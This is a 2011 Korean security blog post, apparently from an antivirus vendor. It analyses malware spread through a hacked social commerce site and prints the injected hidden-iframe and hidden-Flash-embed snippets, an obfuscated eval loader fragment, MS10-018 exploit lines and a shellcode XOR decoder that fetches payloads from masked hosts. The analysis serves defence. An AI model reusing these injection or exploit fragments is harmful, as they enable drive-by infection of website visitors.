본문 바로가기
악성코드 정보

소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(1)

by 알 수 없는 사용자 2011. 6. 29.
주말만 되면 국내 사이트들은 해킹되어 최신 취약점들과 함께 악성코드 유포와 사용자들의 PC는 악성코드 감염으로 몸살을 알고 있다. 소셜커머스 사이트에서 악성코드 유포 사례가 발생했었는데 이에 대해서 정리했다.

소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(1)
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2)

* 참고: 해당 사이트 및 악성코드 유포 주소는 공개할 수 없다.

해당 사이트를 통해서 유포된 악성코드는 V3:2011.06.26.01이상의 엔진 버전에서 아래와 같이 대응하고 있다.

 Win-Trojan/Agent.90588(V3)
Win-Trojan/Agent.33592272(V3)
Win-Trojan/Agent.33606100(V3)
JS/Agent(V3)
HTML/Agent(V3)
SWF/Cve-2010-2884(V3)
HTML/Agent(V3)

악성 스크립트가 삽입된 해당 사이트의 페이지는 아래와 같다.

http://***************/common/script.php?l=b4b7caa5611fae1fb130505ccdb53a15&t=.js



                                                    [그림 1] 악성 스크립트 주소가 삽입된 페이지
 

ee.js는 아래처럼 main.html을 다운로드 한 후 실행하는 스크립트로 아래 코드를 저장하고 있다.


document.write("<iframe src=http://test.*****.com/data/main.html width=0 height=0></iframe>");

main.html
은 해킹된 해당 사이트에 접속한 PC로부터 쿠키, Internet ExplorerFlash Player의 버전을 체크하여
악성코드를 다운로드하는 스크립트로 main.html의 구조를 요약해 보면 아래와 같다.

                                                             [그림 2] main.html의 동작구조

main.html - Cookie 체크루틴
해킹된 웹 사이트를 통해서 유포되는 악성 스크립트의 대부분이
Cookie 체크루틴 사용하는데 이는 감염된 PC가 해킹된 웹 사이트에 재 접속 시 중복감염을 방지하기 위한 목적으로 사용된다.

main.html이 실행되면 helpor_net()를 호출하도록 되어 있다.

                                     [그림 3] main.html의 쿠키체크 루틴: helpor_net() 호출 루틴
 

get_cookie('baker')==''라면 SetCookie()를 호출하여 Cookie를 생성하고 감염과정이 진행되지만 Cookie에서 baker라는 문자열이 존재하면 location.replace("about:blank");를 호출하고 감염과정을 진행하지 않는다.

main.html - IE버전 체크루틴
main.html에서 Internet Explorer의 버전을 체크하는 이유는 해킹된 사이트에 접속했을때 사용한 브라우저의 버전에 따라 취약점의 동작여부가 결정되기 떄문이다. 즉, 예를들면 IE 8에서는 동작하는 취약점이 IE 6, 7에서는 동작하지
않을 수 있다라는 의미이다.

                                                      [그림 4] Internet Explorer 버전체크

<script>
  var IE_Version = navigator.userAgent.toLowerCase();
  alert(IE_Version);
</script>


악성 스크립트에서 브라우저의 버전을 체크하는 방법은 navigator.useragent.toLowerCase()를 자주 사용하며 위 스크립트를 실행하면 아래 그림처럼 브라우저 버전이 포함된 정보가 포함된 경고창이 출력된다.

                                               [그림 5] navigator.useragent.toLowerCase()

main.html - duam.html & 625.swf 분석
duam.html는 625.swf라는 플래시 파일을 다운로드하는 기능을 가진 스크립트로 아래와 같다.

<BUTTON ID='banner' ONCLICK='GameStart();' STYLE='DISPLAY:NONE'></BUTTON>

<embed src='http://test.*******.com/data/625.swf' width=0 height=0 type=application/x-shockwave-flash scale='exactfit' allowScriptAccess='always'></embed>


625.swf는 플래쉬 취약점을 공격하는 플래시 파일은 아니며 내부에 MS10-018취약점을 공격하는 스크립트를 가진 파일이다.

movie 'C:\Sample\625.swf' {

// flash 8, total frames: 1, frame rate: 12 fps, 1x1 px, compressed

  frame 1 {

    flash.external.ExternalInterface.call('eval', 'eval(String.fromCharCode(118,97,114,32,115,117,110,32,61,32,39,77,77,53,50,56,51,56,52,78,78,88,88,37,117,48,67,48,67,37,117,57,48,

위 난독화된 스크립트를 풀면 MS10-018 취약점 코드와 Shellcode가 존재한다.

function KoreaStart()
 {
   var d=document.createElement('DIV');
   d.addBehavior('#default#userData'); // MS10-018 취약점 코드
   document.appendChild(d);
   //---- 중간생략 ----//
 }

Shellcode의 일부는 암호화되어 있으며 아래 복호화 루틴을 통해서 복호화된 후 실행된다.

00401000 > $  0C 0C              or      al, 0C

00401002   .  90                 nop

00401003   .  90                 nop

00401004   .  EB 10              jmp     short 00401016

00401006   $  5B                 pop     ebx

00401007   .  4B                 dec     ebx

00401008   .  33C9               xor     ecx, ecx

0040100A   .  66:B9 7A04         mov     cx, 47A       

0040100E   >  80340B C2          xor     byte ptr [ebx+ecx], 0C2 

00401012   .^ E2 FA              loopd   short 0040100E

00401014   .  EB 05              jmp     short 0040101B

00401016   >  E8 EBFFFFFF        call    00401006

; 47A = 암호화된 Shellcode 크기

; [ebx+ecx] = 암화된 Shellcode 위치한 주소,

; 0C2 = 암호화된 Shellcode 복호화할 사용하는


복호화된 Shellcode에는 악성코드를 다운로드하는 URL(http://test.*******.com/data/095.com)이 존재한다.

main.html - funs.html & cee.css 분석
funs.html + cee.cssMS11-003 취약점을 공격하는 악성 스크립트의 조합으로 우선 funs.html의 코드를 살펴보면 아래와 같다.

                                                      [그림 6] MS11-003 취약점 공격코드

cee.css에 존재하는 prepare()의 내용을 살펴보면 아래와 같다.

                                                 [그림 7] prepare()에 존재하는 Shellcode

prepare()에도 마찬가지로 암호화된 Shellcode가 존재하며 복호화하면 악성코드를 다운로드하는 URL(http://184.***.***.82/funs.exe)가 존재한다.





댓글